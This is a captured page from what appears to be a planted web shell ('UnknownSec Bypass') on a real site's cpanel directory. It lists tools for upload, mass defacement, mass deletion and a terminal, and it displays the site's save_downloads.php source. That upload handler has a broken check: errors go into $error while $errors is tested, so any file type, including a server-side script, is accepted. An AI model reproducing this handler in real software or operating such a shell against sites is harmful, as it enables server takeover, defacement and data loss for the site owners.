UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
save_downloads.php
<?php include "../config.php"; //session_start(); $downloadstitle=mysqli_real_escape_string($conn, $_POST['downloadstitle']); $date=date("d M, Y"); //$author=$_SESSION['userid']; $data=0; $sqlchk="SELECT * FROM downloadstb WHERE downloadstitle='{$downloadstitle}'"; $result=mysqli_query($conn, $sqlchk) or die("Query Failed."); if(mysqli_num_rows($result)>0){ $data=0; } else { if(isset($_FILES['fileToUpload'])){ $error=array(); $file_name=$_FILES['fileToUpload']['name']; $file_size=$_FILES['fileToUpload']['size']; $file_tmp=$_FILES['fileToUpload']['tmp_name']; $file_type=$_FILES['fileToUpload']['type']; //$file_ext=strtolower(end(explode('.',$file_name))); $arr = explode(".", $file_name); $file_ext = strtolower(array_pop($arr)); //$fileName = array_shift($arr); $extensions=array("pdf","jpg","png","jpeg","doc"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($file_size > 2097152) { $error="File size must be 2mb or lower."; } $new_name=time()."-".basename($file_name); $target="downloads/".$new_name; $image_name=$new_name; if(empty($errors)==true){ move_uploaded_file($file_tmp,$target); }else{ print_r($error); die(); } } $sql="INSERT INTO downloadstb(downloadstitle,file_name,file_extention,added_on) VALUES('{$downloadstitle}','{$image_name}','{$file_ext}','{$date}')"; if(mysqli_query($conn, $sql)) { $data=1; } } echo json_encode($data); ?>
Copyright © 2025 - UnknownSec